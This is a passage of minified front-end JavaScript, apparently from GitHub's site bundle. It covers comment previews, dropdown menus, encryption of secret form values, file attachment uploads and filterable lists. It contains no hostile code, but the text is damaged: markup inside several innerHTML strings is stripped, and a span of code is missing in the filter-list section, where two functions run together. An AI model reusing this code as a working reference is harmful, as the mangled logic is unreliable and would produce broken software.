Y.append("text",S),Y.append("authenticity_token",Ns(e)),R&&Y.append("path",R),I&&Y.append("line_number",I),F&&Y.append("start_line_number",F),X&&Y.append("side",X),oe&&Y.append("start_side",oe),Q&&Y.append("start_commit_oid",Q),se&&Y.append("end_commit_oid",se),ce&&Y.append("base_commit_oid",ce),de&&Y.append("comment_id",de),Y}s(Bs,"previewForm");function eo(e){const t=e.getAttribute("data-preview-url"),n=Bs(e);return(0,c.f)(e,"preview:setup",{data:n}),$s(t,n)}s(eo,"fetchPreview");const $s=(0,qe.Z)(Fs,{hash:Us});let zt=null;async function Fs(e,t){zt==null||zt.abort();const{signal:n}=zt=new AbortController,o=await fetch(e,{method:"post",body:t,signal:n});if(!o.ok)throw new Error("something went wrong");return o.text()}s(Fs,"uncachedFetch");function Us(e,t){const n=[...t.entries()].toString();return`${e}:${n}`}s(Us,"hash");async function Kt(e){const t=e.querySelector(".comment-body");t.innerHTML="

    Loading preview…

    ";try{const n=await eo(e);t.innerHTML=n||"

    Nothing to preview

    ",(0,c.f)(e,"preview:rendered")}catch(n){n.name!=="AbortError"&&(t.innerHTML="

    Error rendering preview

    ")}}s(Kt,"renderPreview"),(0,u.N7)(".js-preview-tab",function(e){e.addEventListener("mouseenter",async()=>{const t=e.closest(".js-previewable-comment-form");try{await eo(t)}catch{}})}),(0,j.w4)("keydown",".js-comment-field",function(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.shiftKey&&e.key.toUpperCase()==="P"){const n=t.closest(".js-previewable-comment-form");n.classList.contains("write-selected")&&(n instanceof Ut.Z?n.querySelector(".js-preview-tab").click():(t.blur(),n.dispatchEvent(new CustomEvent("preview:render",{bubbles:!0,cancelable:!1}))),e.preventDefault(),e.stopImmediatePropagation())}});const to=/^(\+1|-1|:\+1?|:-1?)$/,Ws=s(e=>{let t=!1;for(const n of e.split(` +`)){const o=n.trim();if(!(!o||o.startsWith(">"))){if(t&&to.test(o)===!1)return!1;!t&&to.test(o)&&(t=!0)}}return t},"isReactionLikeComment");(0,c.on)("focusout","#new_comment_field",function(e){const n=e.currentTarget.closest(".js-reaction-suggestion");n&&oo(n)}),(0,c.on)("focusin","#new_comment_field",function(e){no(e)}),(0,j.w4)("keyup","#new_comment_field",function(e){no(e)});function no(e){const t=e.target,n=t.value,o=t.closest(".js-reaction-suggestion");if(!!o)if(Ws(n)){o.classList.remove("hide-reaction-suggestion"),o.classList.add("reaction-suggestion");const r=o.getAttribute("data-reaction-markup");o.setAttribute("data-reaction-suggestion-message",r)}else oo(o)}s(no,"toggleReactionSuggestion");function oo(e){e.classList.remove("reaction-suggestion"),e.classList.add("hide-reaction-suggestion"),e.removeAttribute("data-reaction-suggestion-message")}s(oo,"clearReactionSuggestion");var at=f(5287);(0,c.on)("navigation:keydown",".js-commits-list-item",function(e){!(0,at.Zf)(e.detail.originalEvent)||e.target instanceof Element&&e.detail.hotkey==="c"&&e.target.querySelector(".js-navigation-open").click()});var nu=f(87924);(0,j.q6)(".js-company-name-input",function(e){const t=e.target,n=t.form,o=n.querySelector(".js-corp-tos-link"),r=n.querySelector(".js-tos-link");r&&(r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.classList.remove("d-none"),o.setAttribute("aria-hidden","false")));const i=n.querySelectorAll(".js-company-name-text");if(i.length!==0)for(const a of i)if(t.value)if(a.hasAttribute("data-wording")){const y=a.getAttribute("data-wording");a.textContent=` ${y} ${t.value}`}else a.textContent=t.value;else a.textContent=""}),(0,u.N7)(".js-company-owned:not(:checked)",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input"),o=document.querySelector(".js-company-name-text"),r=document.querySelector(".js-corp-tos-link"),i=document.querySelector(".js-tos-link");n&&(e.getAttribute("data-optional")&&n.removeAttribute("required"),(0,L.Se)(n,"")),i.classList.remove("d-none"),i.setAttribute("aria-hidden","false"),r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.textContent="")}}),(0,u.N7)(".js-company-owned:checked",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input");n&&(n.setAttribute("required",""),(0,c.f)(n,"focus"),(0,c.f)(n,"input"))}}),(0,u.N7)(".js-company-owned-autoselect",{constructor:HTMLInputElement,add(e){const t=e;function n(){if(t.checked&&t.form){const o=t.form.querySelector(".js-company-owned");(0,L.Se)(o,!0)}}s(n,"autoselect"),t.addEventListener("change",n),n()}});var Vt=f(10178),Xt=f(33948),Gt=f(55444);let je=null;document.addEventListener("keydown",function(e){!e.defaultPrevented&&e.key==="Escape"&&je&&je.removeAttribute("open")}),(0,u.N7)(".js-dropdown-details",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"toggle",Ks),(0,M.RB)(e,"toggle",zs))});function zs({currentTarget:e}){const t=e;if(t.hasAttribute("open")){const n=t.querySelector("[autofocus]");n&&n.focus()}else{const n=t.querySelector("summary");n&&n.focus()}}s(zs,"autofocus");function Ks({currentTarget:e}){const t=e;t.hasAttribute("open")?(je&&je!==t&&je.removeAttribute("open"),je=t):t===je&&(je=null)}s(Ks,"closeCurrentDetailsDropdown"),(0,u.N7)("[data-deferred-details-content-url]:not([data-details-no-preload-on-hover])",{subscribe:e=>{const t=e.querySelector("summary");return(0,M.RB)(t,"mouseenter",Gt.G)}}),(0,u.N7)("[data-deferred-details-content-url]",{subscribe:e=>(0,M.RB)(e,"toggle",Gt.G)}),(0,c.on)("click","[data-toggle-for]",function(e){const t=e.currentTarget.getAttribute("data-toggle-for")||"",n=document.getElementById(t);!n||(n.hasAttribute("open")?n.removeAttribute("open"):n.setAttribute("open","open"))}),(0,Xt.Z)(function({target:e}){if(!e||e.closest("summary"))return;let t=e.parentElement;for(;t;)t=t.closest("details"),t&&(t.hasAttribute("open")||t.setAttribute("open",""),t=t.parentElement)}),(0,c.on)("details-dialog-close","[data-disable-dialog-dismiss]",function(e){e.preventDefault()});var Vs=f(88309);(0,u.N7)("details.select-menu details-menu include-fragment",function(e){const t=e.closest("details");!t||(e.addEventListener("loadstart",function(){t.classList.add("is-loading"),t.classList.remove("has-error")}),e.addEventListener("error",function(){t.classList.add("has-error")}),e.addEventListener("loadend",function(){t.classList.remove("is-loading");const n=t.querySelector(".js-filterable-field");n&&(0,c.f)(n,"filterable:change")}))}),(0,u.N7)("details details-menu .js-filterable-field",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="",(0,c.f)(e,"filterable:change"))})}}),(0,u.N7)("details-menu[role=menu] [role=menu]",e=>{const t=e.closest("details-menu[role]");t&&t!==e&&t.removeAttribute("role")}),(0,u.N7)("details details-menu remote-input input",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="")})}}),(0,u.N7)("form details-menu",e=>{const t=e.closest("form");t.addEventListener("reset",()=>{setTimeout(()=>Xs(t),0)})});function Xs(e){const t=e.querySelectorAll("details-menu [role=menuitemradio] input[type=radio]:checked");for(const n of t)(0,c.f)(n,"change")}s(Xs,"resetMenus"),(0,j.w4)("keypress","details-menu .js-filterable-field, details-menu filter-input input",e=>{if(e.key==="Enter"){const o=e.currentTarget.closest("details-menu").querySelector('[role^="menuitem"]:not([hidden])');o instanceof HTMLElement&&o.click(),e.preventDefault()}}),(0,c.on)("details-menu-selected","details-menu",e=>{const n=e.currentTarget.querySelector(".js-filterable-field");n instanceof HTMLInputElement&&n.value&&n.focus()},{capture:!0}),(0,c.on)("details-menu-selected","[data-menu-input]",e=>{if(!(e.target instanceof Element))return;const t=e.target.getAttribute("data-menu-input"),n=document.getElementById(t);(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement)&&(n.value=e.detail.relatedTarget.value)},{capture:!0}),(0,u.N7)("details-menu remote-input",{constructor:Vs.Z,initialize(e){const t=document.getElementById(e.getAttribute("aria-owns")||"");if(!t)return;let n=null;e.addEventListener("load",()=>{document.activeElement&&t.contains(document.activeElement)&&document.activeElement.id?n=document.activeElement.id:n=null}),e.addEventListener("loadend",()=>{if(n){const o=t.querySelector(`#${n}`)||t.querySelector('[role^="menu"]');o instanceof HTMLElement?o.focus():e.input&&e.input.focus()}})}}),(0,c.on)("details-menu-selected","details-menu[data-menu-max-options]",e=>{const t=+e.currentTarget.getAttribute("data-menu-max-options"),n=e.currentTarget.querySelectorAll('[role="menuitemcheckbox"][aria-checked="true"]'),o=t===n.length;e.currentTarget.querySelector("[data-menu-max-options-warning]").hidden=!o;for(const r of e.currentTarget.querySelectorAll('[role="menuitemcheckbox"] input'))r.disabled=o&&!r.checked},{capture:!0}),(0,u.N7)("details > details-menu",{subscribe(e){const t=e.closest("details");return(0,M.RB)(t,"toggle",Gs)}});async function Gs({currentTarget:e}){const t=e,n=t.hasAttribute("open");(0,c.f)(t,n?"menu:activate":"menu:deactivate"),await(0,k.gJ)(),(0,c.f)(t,n?"menu:activated":"menu:deactivated")}s(Gs,"fireMenuToggleEvent"),(0,u.N7)("details > details-menu[preload]:not([src])",{subscribe(e){return(0,M.RB)(e.parentElement,"mouseover",function(t){const o=t.currentTarget.querySelector("include-fragment[src]");o==null||o.load()})}});const Zt=new WeakMap,ro=["input[type=submit][data-disable-with]","button[data-disable-with]"].join(", ");function Zs(e){return e instanceof HTMLInputElement?e.value||"Submit":e.innerHTML||""}s(Zs,"getButtonText");function so(e,t){e instanceof HTMLInputElement?e.value=t:e.innerHTML=t}s(so,"disable_with_setButtonText"),(0,c.on)("submit","form",function(e){for(const t of e.currentTarget.querySelectorAll(ro)){Zt.set(t,Zs(t));const n=t.getAttribute("data-disable-with");n&&so(t,n),t.disabled=!0}},{capture:!0});function io(e){for(const t of e.querySelectorAll(ro)){const n=Zt.get(t);n!=null&&(so(t,n),(!t.hasAttribute("data-disable-invalid")||e.checkValidity())&&(t.disabled=!1),Zt.delete(t))}}s(io,"revert"),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e,target:t}){e===t&&io(e)}),(0,C.uT)(io),(0,u.N7)(".js-document-dropzone",{constructor:HTMLElement,add(e){document.body.addEventListener("dragstart",uo),document.body.addEventListener("dragend",fo),document.body.addEventListener("dragenter",ct),document.body.addEventListener("dragover",ct),document.body.addEventListener("dragleave",co),e.addEventListener("drop",lo)},remove(e){document.body.removeEventListener("dragstart",uo),document.body.removeEventListener("dragend",fo),document.body.removeEventListener("dragenter",ct),document.body.removeEventListener("dragover",ct),document.body.removeEventListener("dragleave",co),e.removeEventListener("drop",lo)}});function ao(e){return Array.from(e.types).indexOf("Files")>=0}s(ao,"hasFile");let Jt=null;function ct(e){if(Qt)return;const t=e.currentTarget;Jt&&window.clearTimeout(Jt),Jt=window.setTimeout(()=>t.classList.remove("dragover"),200);const n=e.dataTransfer;!n||!ao(n)||(n.dropEffect="copy",t.classList.add("dragover"),e.stopPropagation(),e.preventDefault())}s(ct,"onDragenter");function co(e){e.target instanceof Element&&e.target.classList.contains("js-document-dropzone")&&e.currentTarget.classList.remove("dragover")}s(co,"onBodyDragleave");function lo(e){const t=e.currentTarget;t.classList.remove("dragover"),document.body.classList.remove("dragover");const n=e.dataTransfer;!n||!ao(n)||((0,c.f)(t,"document:drop",{transfer:n}),e.stopPropagation(),e.preventDefault())}s(lo,"onDrop");let Qt=!1;function uo(){Qt=!0}s(uo,"onDragstart");function fo(){Qt=!1}s(fo,"onDragend");var lt=f(69567);async function mo(e,t){const o=new TextEncoder().encode(t),{seal:r}=await Promise.all([f.e("vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js"),f.e("_empty-file_js-app_assets_modules_github_tweetsodium_ts")]).then(f.bind(f,6743));return r(o,e)}s(mo,"encrypt");function ho(e){const t=atob(e).split("").map(n=>n.charCodeAt(0));return Uint8Array.from(t)}s(ho,"decode");function po(e){let t="";for(const n of e)t+=String.fromCharCode(n);return btoa(t)}s(po,"encode"),(0,c.on)("submit","form.js-encrypt-submit",async function(e){const t=e.currentTarget;if(e.defaultPrevented||!t.checkValidity())return;const n=t.elements.namedItem("secret_value");if(n.disabled=!0,!n.value)return;e.preventDefault();const o=ho(t.getAttribute("data-public-key"));t.elements.namedItem("encrypted_value").value=po(await mo(o,n.value)),t.submit()}),(0,c.on)("submit","form.js-encrypt-bulk-submit",go(!0)),(0,c.on)("submit","form.js-encrypt-bulk-submit-enable-empty",go(!1));function go(e){return async function(t){const n=t.currentTarget;if(t.defaultPrevented||!n.checkValidity())return;const o=ho(n.getAttribute("data-public-key"));t.preventDefault();for(const r of n.elements){const i=r;if(i.id.endsWith("secret")){if(i.disabled=!0,i.required&&!i.value){const l=`${i.name} is invalid!`,y=document.querySelector("template.js-flash-template");y.after(new lt.R(y,{className:"flash-error",message:l}));return}const a=`${i.name}_encrypted_value`;if(!i.value){n.elements.namedItem(a).disabled=e;continue}n.elements.namedItem(a).value=po(await mo(o,i.value))}}n.submit()}}s(go,"submitBulk");var Se=f(29946);let ut;function dt(e,t){const n=document.querySelector('.js-site-favicon[type="image/svg+xml"]'),o=document.querySelector('.js-site-favicon[type="image/png"]');t||(t="light");const r=t==="light"?"":"-dark";if(n&&o)if(ut==null&&(ut=n.href),e){e=e.substr(0,e.lastIndexOf(".")),e=`${e}${r}.svg`,n.href=e;const i=n.href.substr(0,n.href.lastIndexOf("."));o.href=`${i}.png`}else{const i=n.href.indexOf("-dark.svg"),a=n.href.substr(0,i!==-1?i:n.href.lastIndexOf("."));n.href=`${a}${r}.svg`,o.href=`${a}${r}.png`}}s(dt,"updateFavicon");function ft(){return window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches}s(ft,"prefersDarkColorScheme");function Js(){ut!=null&&dt(ut,ft()?"dark":"light")}s(Js,"resetIcon");function bo(){ft()&&dt(void 0,"dark")}s(bo,"updateDarkFavicon"),(0,u.N7)("[data-favicon-override]",{add(e){const t=e.getAttribute("data-favicon-override");setTimeout(()=>dt(t,ft()?"dark":"light"))},remove(){Js()}}),bo(),document.addEventListener(Se.QE.SUCCESS,bo),window.matchMedia("(prefers-color-scheme: dark)").addListener(()=>{dt(void 0,ft()?"dark":"light")}),(0,u.N7)(".js-feature-preview-indicator-container",e=>{Qs(e)});async function Qs(e){const t=e.getAttribute("data-feature-preview-indicator-src"),n=await Ys(t),o=e.querySelectorAll(".js-feature-preview-indicator");for(const r of o)r.hidden=!n}s(Qs,"fetchFeaturePreviewIndicator");async function Ys(e){try{const t=await fetch(e,{headers:{Accept:"application/json"}});return t.ok?(await t.json()).show_indicator:!1}catch{return!1}}s(Ys,"fetchIndicator");var Te=f(12737),pe=f(29719);(0,c.on)("click","[data-feature-preview-trigger-url]",async e=>{const t=e.currentTarget,n=t.getAttribute("data-feature-preview-trigger-url"),o=await(0,Te.W)({content:(0,pe.a)(document,n),dialogClass:"feature-preview-dialog"}),r=t.getAttribute("data-feature-preview-close-details"),i=t.getAttribute("data-feature-preview-close-hmac");o.addEventListener("dialog:remove",()=>{(0,he.b)({hydroEventPayload:r,hydroEventHmac:i},!0)});const a=document.querySelectorAll(".js-feature-preview-indicator");for(const l of a)l.hidden=!0}),(0,C.AC)(".js-feature-preview-unenroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-unenroll:${n}`)}),(0,C.AC)(".js-feature-preview-enroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-enroll:${n}`)});class yo{constructor(t,n){this.attachment=t,this.policy=n}async process(t){var n,o,r,i;const a=window.performance.now(),l=new Headers(this.policy.header||{}),y=new XMLHttpRequest;y.open("POST",this.policy.upload_url,!0);for(const[I,F]of l)y.setRequestHeader(I,F);y.onloadstart=()=>{t.attachmentUploadDidStart(this.attachment,this.policy)},y.upload.onprogress=I=>{if(I.lengthComputable){const F=Math.round(I.loaded/I.total*100);t.attachmentUploadDidProgress(this.attachment,F)}},await ei(y,ti(this.attachment,this.policy)),y.status===204?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,{})):y.status===201?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,JSON.parse(y.responseText))):t.attachmentUploadDidError(this.attachment,{status:y.status,body:y.responseText});const R={duration:window.performance.now()-a,size:(o=(n=this.attachment)==null?void 0:n.file)==null?void 0:o.size,fileType:(i=(r=this.attachment)==null?void 0:r.file)==null?void 0:i.type,success:y.status===204||y.status===201};(0,he.b)({uploadTiming:R},!0)}}s(yo,"AttachmentUpload");function ei(e,t){return new Promise((n,o)=>{e.onload=()=>n(e),e.onerror=o,e.send(t)})}s(ei,"send");function ti(e,t){const n=new FormData;t.same_origin&&n.append("authenticity_token",t.upload_authenticity_token);for(const o in t.form)n.append(o,t.form[o]);return n.append("file",e.file),n}s(ti,"uploadForm");function vo(e){const t=typeof e.asset_upload_url=="string"?e.asset_upload_url:null,n=typeof e.asset_upload_authenticity_token=="string"?e.asset_upload_authenticity_token:null;if(!(t&&n))return;const o=new FormData;o.append("authenticity_token",n),fetch(t,{method:"PUT",body:o,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(vo,"markComplete");async function ni(e,t){const n=ii(e,t);for(const o of e.attachments){const r=await oi(e,o,t);if(!r)return;try{await new yo(o,r).process(n)}catch{(0,c.f)(t,"upload:error",{batch:e,attachment:o}),Ae(t,"is-failed");return}}}s(ni,"upload");async function oi(e,t,n){const o=ri(t,n),r=[];(0,c.f)(n,"upload:setup",{batch:e,attachment:t,form:o,preprocess:r});try{await Promise.all(r);const i=await fetch(si(o,n));if(i.ok)return await i.json();(0,c.f)(n,"upload:invalid",{batch:e,attachment:t});const a=await i.text(),l=i.status,{state:y,messaging:w}=wo({status:l,body:a},t.file);Ae(n,y,w)}catch{(0,c.f)(n,"upload:invalid",{batch:e,attachment:t}),Ae(n,"is-failed")}return null}s(oi,"validate");function ri(e,t){const n=t.querySelector(".js-data-upload-policy-url-csrf").value,o=t.getAttribute("data-upload-repository-id"),r=t.getAttribute("data-subject-type"),i=t.getAttribute("data-subject-param"),a=e.file,l=new FormData;return l.append("name",a.name),l.append("size",String(a.size)),l.append("content_type",a.type),l.append("authenticity_token",n),r&&l.append("subject_type",r),i&&l.append("subject",i),o&&l.append("repository_id",o),e.directory&&l.append("directory",e.directory),l}s(ri,"policyForm");function si(e,t){return new Request(t.getAttribute("data-upload-policy-url"),{method:"POST",body:e,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(si,"policyRequest");function ii(e,t){return{attachmentUploadDidStart(n,o){n.saving(0),Ae(t,"is-uploading"),(0,c.f)(t,"upload:start",{batch:e,attachment:n,policy:o})},attachmentUploadDidProgress(n,o){n.saving(o),(0,c.f)(t,"upload:progress",{batch:e,attachment:n})},attachmentUploadDidComplete(n,o,r){n.saved(ai(r,o)),(0,c.f)(t,"upload:complete",{batch:e,attachment:n}),e.isFinished()&&Ae(t,"is-default")},attachmentUploadDidError(n,o){(0,c.f)(t,"upload:error",{batch:e,attachment:n});const{state:r}=wo(o);Ae(t,r)}}}s(ii,"createDelegate");function ai(e,t){const n=(e.id==null?null:String(e.id))||(t.asset.id==null?null:String(t.asset.id)),o=(typeof e.href=="string"?e.href:null)||(typeof t.asset.href=="string"?t.asset.href:null);return{id:n,href:o,name:t.asset.name}}s(ai,"savedAttributes");function wo(e,t){if(e.status===400)return{state:"is-bad-file"};if(e.status!==422)return{state:"is-failed"};const n=JSON.parse(e.body);if(!n||!n.errors)return{state:"is-failed"};for(const o of n.errors)switch(o.field){case"size":{const r=t?t.size:null;return r!=null&&r===0?{state:"is-empty"}:{state:"is-too-big",messaging:{message:ci(o.message),target:".js-upload-too-big"}}}case"file_count":return{state:"is-too-many"};case"width":case"height":return{state:"is-bad-dimensions"};case"name":return o.code==="already_exists"?{state:"is-duplicate-filename"}:{state:"is-bad-file"};case"content_type":return{state:"is-bad-file"};case"uploader_id":return{state:"is-bad-permissions"};case"repository_id":return{state:"is-repository-required"};case"format":return{state:"is-bad-format"}}return{state:"is-failed"}}s(wo,"policyErrorState");const ci=s(e=>e.startsWith("size")?e.substring(5):e,"trimSizeErrorMessage"),li=["is-default","is-uploading","is-bad-file","is-duplicate-filename","is-too-big","is-too-many","is-hidden-file","is-failed","is-bad-dimensions","is-empty","is-bad-permissions","is-repository-required","is-bad-format"];function Ae(e,t,n){if(n){const{message:o,target:r}=n,i=e.querySelector(r);i&&(i.innerHTML=o)}e.classList.remove(...li),e.classList.add(t)}s(Ae,"resetState");class Eo{constructor(t){this.attachments=t,this.size=this.attachments.length,this.total=Yt(this.attachments,n=>n.file.size)}percent(){const t=s(o=>o.file.size*o.percent/100,"bytes"),n=Yt(this.attachments,t);return Math.round(n/this.total*100)}uploaded(){const t=s(n=>n.isSaved()?1:0,"value");return Yt(this.attachments,t)}isFinished(){return this.attachments.every(t=>t.isSaved())}}s(Eo,"Batch");function Yt(e,t){return e.reduce((n,o)=>n+t(o),0)}s(Yt,"sum"),(0,u.N7)("file-attachment[hover]",{add(e){e.classList.add("dragover")},remove(e){e.classList.remove("dragover")}}),(0,c.on)("file-attachment-accept","file-attachment",function(e){const{attachments:t}=e.detail;t.length===0&&(Ae(e.currentTarget,"is-hidden-file"),e.preventDefault())}),(0,c.on)("file-attachment-accepted","file-attachment",function(e){const t=e.currentTarget.querySelector(".drag-and-drop");if(t&&t.hidden)return;const{attachments:n}=e.detail;ni(new Eo(n),e.currentTarget)});let Lo=0;(0,u.N7)("file-attachment",{add(e){Lo++===0&&(document.addEventListener("drop",So),document.addEventListener("dragover",To));const t=e.closest("form");t&&t.addEventListener("reset",Ao)},remove(e){--Lo===0&&(document.removeEventListener("drop",So),document.removeEventListener("dragover",To));const t=e.closest("form");t&&t.removeEventListener("reset",Ao)}});function jo(e){return Array.from(e.types).indexOf("Files")>=0}s(jo,"file_attachment_hasFile");function So(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(So,"onDocumentDrop");function To(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(To,"onDocumentDragover");function Ao({currentTarget:e}){const t=e.querySelector("file-attachment");Ae(t,"is-default")}s(Ao,"onFormReset");var ui=f(13002);(0,c.on)("filter-input-updated","filter-input",e=>{const t=e.currentTarget.input;if(!(document.activeElement&&document.activeElement===t))return;const{count:n,total:o}=e.detail;(0,h.x)(`Found ${n} out of ${o} ${o===1?"item":"items"}`)}),(0,c.on)("toggle","details",e=>{setTimeout(()=>di(e.target),0)},{capture:!0}),(0,c.on)("tab-container-changed","tab-container",e=>{if(!(e.target instanceof HTMLElement))return;const{relatedTarget:t}=e.detail,n=e.target.querySelector("filter-input");n instanceof ui.Z&&n.setAttribute("aria-owns",t.id)},{capture:!0});function di(e){const t=e.querySelector("filter-input");t&&!e.hasAttribute("open")&&t.reset()}s(di,"resetFilter");function Co(e,t,n,o={}){var r;const i=(r=o.limit)!=null?r:1/0;let a=0;for(const l of e.children){const y=n(l,t);y==null||(y&&a0));return S}s(Mo,"filterSortList");var en=f(25833);let tn=new AbortController;const Ze=new WeakMap,qo=new WeakMap,Ro=new WeakMap;async function fi(e,t,n,o){n&&!Ze.has(e)&&pi(e);const r=await mi(e,t,n,o);return e.hasAttribute("data-filterable-data-pre-rendered")&&(r.suggestions=hi(e,n)),r}s(fi,"getData");async function mi(e,t,n,o){const r=new URL(e.getAttribute("data-filterable-src")||"",window.location.origin);if(r.pathname==="/")throw new Error("could not get data-filterable-src");if(n){const i=Ze.get(e),a=t.trim();if(i.lastSearchText===a)return i.lastSearchResult;const l=i.lastSearchText===void 0;i.lastSearchText=a;const y=e.getAttribute("data-filterable-for")||"",w=document.getElementById(y);if(tn.abort(),a===""&&!o)i.lastSearchResult={suggestions:[],users:[]};else{tn=new AbortController;const S={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"},signal:tn.signal},R=r.searchParams||new URLSearchParams;R.set("q",t),R.set("typeAhead","true"),r.search=R.toString(),l||w==null||w.classList.add("is-loading");const I=await fetch(r.toString(),S);i.lastSearchResult=await I.json()}return w==null||w.classList.remove("is-loading"),i.lastSearchResult}else{const i={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}};return await(await fetch(r.toString(),i)).json()}}s(mi,"fetchQueryIfNeeded");function hi(e,t){const n=[],o=e.querySelectorAll(".js-filterable-suggested-user");if(o.length>0)for(const r of e.querySelectorAll(".js-filterable-suggested-user"))r.classList.remove("js-filterable-suggested-user"),n.push({name:r.querySelector(".js-description").textContent,login:r.querySelector(".js-username").textContent,selected:r.getAttribute("aria-checked")==="true",element:r,suggestion:!0});if(t){const r=Ze.get(e);return o.length>0&&(r.cachedSuggestions=n,r.userResultCache.clear()),r.cachedSuggestions}return n}s(hi,"getPreRenderedUsers");function pi(e){Ze.set(e,{lastSearchResult:{suggestions:[],users:[]},cachedSuggestions:[],userResultCache:new Map})}s(pi,"initializeTypeAheadCache");async function gi(e,t,n){var o,r;Ro.set(e,t),await(0,en.Z)();const i=e.hasAttribute("data-filterable-show-suggestion-header"),a=e.hasAttribute("data-filterable-type-ahead"),l=e.hasAttribute("data-filterable-type-ahead-query-on-empty");let y=qo.get(e);if(!y)try{y=await fi(e,t,a,l),a||qo.set(e,y)}catch(B){if(B.name==="AbortError")return-1;throw B}if(!a&&Ro.get(e)!==t)return-1;const w=n.limit,S=e.querySelector("template"),R={};for(const B of e.querySelectorAll("input[type=hidden]"))R[`${B.name}${B.value}`]=B;let I=S.nextElementSibling;for(;I;){const B=I;I=B.nextElementSibling,B instanceof HTMLElement&&(a||B.getAttribute("aria-checked")==="true"||B.classList.contains("select-menu-divider"))?B.hidden=!0:B.remove()}let F=0;const X=t.trim()==="",oe=document.createDocumentFragment(),Q=e.querySelector(".js-divider-suggestions"),se=e.querySelector(".js-divider-rest"),ce=Ze.get(e);function de(B){const G=`${B.login} ${B.name}`.toLowerCase().trim().includes(t),z=!(w!=null&&F>=w)&&G;if(z||B.selected||B.suggestion){const Z=bi(B,S,R,ce);Z.hidden=!z,z&&F++,oe.appendChild(Z)}}s(de,"addItem");let Y=!1;if(Q&&(((o=y.suggestions)==null?void 0:o.length)>0||i&&y.users.length>0)){const B=(r=y.suggestions)!=null?r:[],G=B.filter(Z=>Z.selected),z=B.filter(Z=>!Z.selected);for(const Z of G)de(Z);oe.appendChild(Q);const ee=F;for(const Z of z)de(Z);Y=F>ee,Q.hidden=!Y||a&&!X,i&&y.users.length>0&&(Q.hidden=!X)}se&&oe.appendChild(se);const He=F;for(const B of y.users)de(B);return se&&(se.hidden=He===F||!Y),e.append(oe),F}s(gi,"substringMemoryFilterList");function bi(e,t,n,o){if(e.element!=null)return e.element;if(o==null?void 0:o.userResultCache.has(e.id))return o.userResultCache.get(e.id);const r=t.content.cloneNode(!0),i=r.querySelector("input[type=checkbox], input[type=radio]");e.type&&(i.name=`reviewer_${e.type}_ids[]`),i.value=e.id;const a=`${i.name}${e.id}`;let l=e.selected;n[a]&&(l=!0,n[a].remove(),delete n[a]);const y=r.querySelector("[role^=menuitem]");l&&(y.setAttribute("aria-checked","true"),i.checked=!0),e.disabled&&y.setAttribute("aria-disabled","true");const w=r.querySelector(".js-username");w&&(w.textContent=e.login);const S=r.querySelector(".js-description");S&&(S.textContent=e.name);const R=r.querySelector(".js-extended-description");R&&(e.description?R.textContent=e.description:R.remove());const I=r.querySelector(".js-avatar");return I.className=`${I.className} ${e.class}`,I.src=e.avatar,e.element=y,o==null||o.userResultCache.set(e.id,y),e.element}s(bi,"createReviewerItem"),(0,u.N7)(".js-filterable-field",{constructor:HTMLInputElement,initialize(e){e.autocomplete||(e.autocomplete="off");const t=e.hasAttribute("type-ahead")?200:null;let n=e.value;async function o(i){n!==i.value&&(n=i.value,await(0,k.gJ)(),(0,c.f)(i,"filterable:change"))}s(o,"onInputChange");async function r(){n=e.value,await(0,k.gJ)(),(0,c.f)(e,"filterable:change")}return s(r,"onFocus"),{add(i){i.addEventListener("focus",r),(0,te.oq)(i,o,{wait:t}),document.activeElement===i&&r()},remove(i){i.removeEventListener("focus",r),(0,te.iU)(i,o)}}}}),(0,c.on)("filterable:change",".js-filterable-field",async function(e){const t=e.currentTarget,n=t.value.trim().toLowerCase(),o=document.querySelectorAll(`[data-filterable-for="${t.id}"]`);for(const r of o){const i=await vi(r,n);if(i===-1)return;document.activeElement&&t===document.activeElement&&(0,h.x)(`${i} results found.`),r.dispatchEvent(new CustomEvent("filterable:change",{bubbles:!0,cancelable:!1,detail:{inputField:t}}))}});function yi(e){return e.hasAttribute("data-filter-value")?e.getAttribute("data-filter-value").toLowerCase().trim():e.textContent.toLowerCase().trim()}s(yi,"defaultText");async function vi(e,t){const n=parseInt(e.getAttribute("data-filterable-limit"),10)||null;let o=0;switch(e.getAttribute("data-filterable-type")){case"fuzzy-prio":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=a.getAttribute("data-prio-filter-value").toLowerCase().trim(),y=a.textContent.toLowerCase().trim(),w=(0,ge.EW)(l,r)*2;let S=(0,ge.EW)(y,r);return w>S&&(S=w),S>0?{score:S,text:y}:null},"sortKey")});break}case"fuzzy":{const r=t.toLowerCase();o=Mo(e,t,{limit:n,sortKey:s(a=>{const l=yi(a),y=(0,ge.EW)(l,r);return y>0?{score:y,text:l}:null},"sortKey")});break}case"substring":o=Co(e,t.toLowerCase(),Ei,{limit:n});break;case"substring-memory":o=await gi(e,t,{limit:n});break;default:o=Co(e,t.toLowerCase(),wi,{limit:n});break}return e.classList.toggle("filterable-active",t.length>0),e.classList.toggle("filterable-empty",o===0),o}s(vi,"filter");function wi(e,t){return 